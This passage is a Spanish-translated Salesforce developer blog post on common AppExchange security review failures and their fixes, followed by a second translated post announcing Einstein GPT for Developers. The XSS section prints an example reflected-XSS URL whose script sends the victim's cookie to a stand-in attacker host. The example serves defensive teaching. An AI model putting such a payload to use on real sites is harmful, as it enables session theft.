El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .

Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .

#2 – Versión de software insegura

¿Qué es esto?

Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

¿Cómo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.

#3 – Violación al compartir

¿Qué es esto?

Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.

¿Cómo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

¿Qué es esto?

Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podrá actualizarlo por sí mismo.

¿Cómo puedo abordar esto?

Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso específico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuración personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .

#5 — Configuración TLS/SSL

¿Qué es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

¿Cómo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .

#6 — Información confidencial en depuración

¿Qué es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.

¿Cómo puedo abordar esto?

En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.

Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.

#7 – CSRF

¿Qué es esto?

La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.

¿Cómo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.

Para páginas de Visualforce:

  • Al crear páginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones automáticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la página.
  • Otra técnica de mitigación implica agregar una página de confirmación intermedia antes de realizar la acción, donde el usuario puede confirmar que tenía la intención de realizar esa acción.

Para componentes Lightning:

  • De manera similar a las páginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que también desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.º 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

¿Qué es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicación podría ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una página sin validarlas adecuadamente (para garantizar que no contenga código/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • Páginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificación de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.
  • Parámetros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una página sin validación (lo que lleva a XSS reflejado).

¿Cómo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:

  • Evite la manipulación del modelo de objetos de documento (DOM): en su lugar, utilice técnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: asegúrese de que la entrada del usuario no contenga código ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres comúnmente utilizados en el código, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, paréntesis u operadores matemáticos o lógicos como '+', '&' o '-')
  • Codificación de salida : asegúrese de que si el código ejecutable pasara el filtrado de entrada, no se interprete como código al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.

Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

#9: JavaScript no está en recursos estáticos

¿Qué es esto?

Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.

¿Cómo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.

Obtenga más información sobre este problema en nuestra documentación para desarrolladores .

#10 – Inyección SOQL

¿Qué es esto?

La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.

¿Cómo puedo abordar esto?

La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.

#11 — Lightning: carga CSS inadecuada

¿Qué es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.

¿Cómo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.

Puede encontrar más información en nuestra documentación para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia clásica)

¿Qué es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).

¿Cómo puedo abordar esto?

Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.

Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).

#13 — Divulgación de información en páginas de error y excepciones

¿Qué es esto?

En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.

¿Cómo puedo abordar esto?

Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .

#14 — Componentes de Aura: componente externo de CSS

¿Qué es esto?

Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.

¿Cómo puedo abordar esto?

Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.

#15 — Canal de mensajes expuesto

¿Qué es esto?

Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

¿Cómo puedo abordar esto?

Tiene dos opciones, según su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminación de componentes administrados para su paquete u organización de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectaría la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (asegúrese de mencionar esto específicamente en un mensaje falso). documento positivo sobre su presentación).
  2. Si tiene que utilizar un componente de canal LMS, asegúrese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.

Más información está disponible en la documentación .

#16 – Información confidencial en URL

¿Qué es esto?

Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de búsqueda indexan URL y almacenan inadvertidamente información confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, caché del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Información de URL enviada a aplicaciones web de terceros a través del encabezado de referencia o expuesta a scripts de terceros en la página

¿Cómo puedo abordar esto?

Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.

La guía OWASP es un gran recurso a seguir.

#17 – Punto final inseguro

¿Qué es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

¿Cómo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .

#18 — Enumeración de nombre de usuario o correo electrónico

¿Qué es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.

¿Cómo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.

Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.

OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.

#19 — Gestión de contraseñas

¿Qué es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:

  • Permitir la reutilización de la misma contraseña cuando es necesario restablecerla
  • No solicitar la contraseña anterior cuando se permite a los usuarios establecer una nueva contraseña
  • Para restablecer la contraseña, enviar una contraseña temporal al correo electrónico de un usuario en texto sin formato
  • Dejar contraseñas predeterminadas en los usuarios raíz del servidor o de la base de datos

¿Cómo puedo abordar esto?

Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:

Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).

#20 – Eco de contraseña

¿Qué es esto?

Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.

¿Cómo puedo abordar esto?

Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.

Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.

Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .

Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo

Einstein GPT para desarrolladores: ahora en versión piloto ☁️

Einstein GPT para desarrolladores: ahora en versión piloto ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Einstein GPT para desarrolladores: ahora en fase piloto | Blog de desarrolladores de Salesforce

La IA generativa es una tecnología transformadora que aumenta la productividad de los desarrolladores, acelera el desarrollo de aplicaciones de software y reduce la barrera para que cualquiera aprenda a programar. En el TrailblazerDX de este año, anunciamos Einstein GPT para desarrolladores , la solución de inteligencia artificial generativa de Salesforce que libera la productividad de los desarrolladores y les permite desarrollar Salesforce más rápido . Hoy, estamos encantados de anunciar que Einstein GPT para desarrolladores ahora está en piloto cerrado.

Creado específicamente para lenguajes y marcos de Salesforce, Einstein GPT para desarrolladores puede generar código Apex utilizando lenguaje natural. El soporte para LWC llegará pronto. Nuestro objetivo es que esté disponible en Beta abierta en Dreamforce 23 , para que todos puedan tener acceso a la herramienta. En este blog, exploraremos cómo comenzar con Einstein GPT para el desarrollo de Apex y cómo su potencial puede revolucionar su proceso de desarrollo.

Einstein GPT para desarrolladores frente a otras herramientas de codificación de IA

Las herramientas de codificación de IA generativa disponibles en la actualidad se entrenan principalmente en lenguajes públicos, como Java, Python y otros, así como en código disponible públicamente. Dado que los lenguajes específicos de Salesforce, como Apex y LWC, son propietarios, estas herramientas a menudo carecen de la capacitación necesaria para brindar recomendaciones precisas.

Además, las herramientas de codificación de IA son tan poderosas como el contexto que se les proporciona. Dado que estas herramientas de codificación públicas carecen del contexto de Salesforce de su organización, como los metadatos, las recomendaciones pueden ser inexactas o insuficientes para satisfacer sus necesidades. Por último, el uso de herramientas de inteligencia artificial disponibles públicamente expone su código privado más allá del límite de confianza de Salesforce y podría hacerlo público, una posible vulnerabilidad de seguridad.

Con Einstein GPT para desarrolladores, utilizamos CodeGen , nuestro propio modelo de código abierto para la síntesis de programas. Hospedamos CodeGen dentro del límite de confianza de Salesforce y lo hemos capacitado en lenguajes específicos de Salesforce como Apex y LWC. Con una base dinámica incorporada al proceso de generación de código, Einstein GPT enriquece sus recomendaciones utilizando sus metadatos y código. Nuestra capa de confianza de IA dentro de Einstein GPT garantiza que sus datos y código permanezcan seguros dentro de Salesforce y nunca se almacenen externamente.

Comience con Einstein GPT para desarrolladores

Einstein GPT para desarrolladores se encuentra actualmente en una fase piloto cerrada. Nuestro plan es que esté disponible en Open Beta para Dreamforce 2023. Una vez que su organización esté habilitada para esta herramienta, puede instalar la extensión Einstein GPT en su VS Code Desktop usando un archivo VSIX compartido. Einstein GPT también estará disponible en Code Builder , nuestro IDE basado en web, que se espera que esté disponible de forma general en octubre. ¡Estén atentos a las actualizaciones!

Para utilizar la herramienta Einstein GPT para desarrolladores de forma eficaz:

  1. Abra su VS Code, vaya a Archivo > Abrir carpeta en el menú y abra un proyecto de Salesforce DX existente o configure un nuevo proyecto.
  2. Para trabajar con Einstein GPT para desarrolladores, ejecute el comando SFDX: Autorizar una organización para conectarse a una organización sandbox o a una organización borrador de Salesforce. Podrá utilizar Einstein GPT para desarrolladores dentro de este entorno.

Si está utilizando organizaciones borrador, active Einstein GPT para desarrolladores habilitando la función adicional de organización borrador. Simplemente edite y guarde el archivo config/project-scratch-def.json en su proyecto DX y agregue la función EinsteinGPTForDevelopers a su lista de funciones existente.

Por ejemplo:

Finalmente, puede comenzar a generar código Apex escribiendo un mensaje mediante el comando Paleta de comandos: SFDX: generar código con Einstein GPT (ver captura de pantalla a continuación) . Tenga en cuenta que debe estar dentro de un archivo Apex ( .cls ) para que aparezca el comando.

A continuación se muestra un mensaje de ejemplo:

Quiero crear una clase de Apex. Llamémoslo OpportunityQuerySelector. Cree un método llamado getSumOfOpportunityRecords que recupere la cantidad de registros de oportunidades vinculados a un registro de cuenta específico. El método debe aceptar accountId como parámetro. Siga las mejores prácticas de seguridad y asegúrese de que el código se ejecute en el modo de usuario.

Y luego el resultado se muestra a continuación.

Si bien el código generado anteriormente no requirió muchas ediciones, es posible que necesite personalizar la salida generada por Einstein GPT según sus necesidades durante el desarrollo. El panel Einstein GPT: Historial y comentarios dentro del IDE le permite compartir comentarios sobre el resultado generado. ¡Estos comentarios son imprescindibles para ayudarnos a capacitar a nuestro LLM y mejorar su resultado! Estamos emocionados de escuchar sus comentarios.

Transformando el proceso de desarrollo

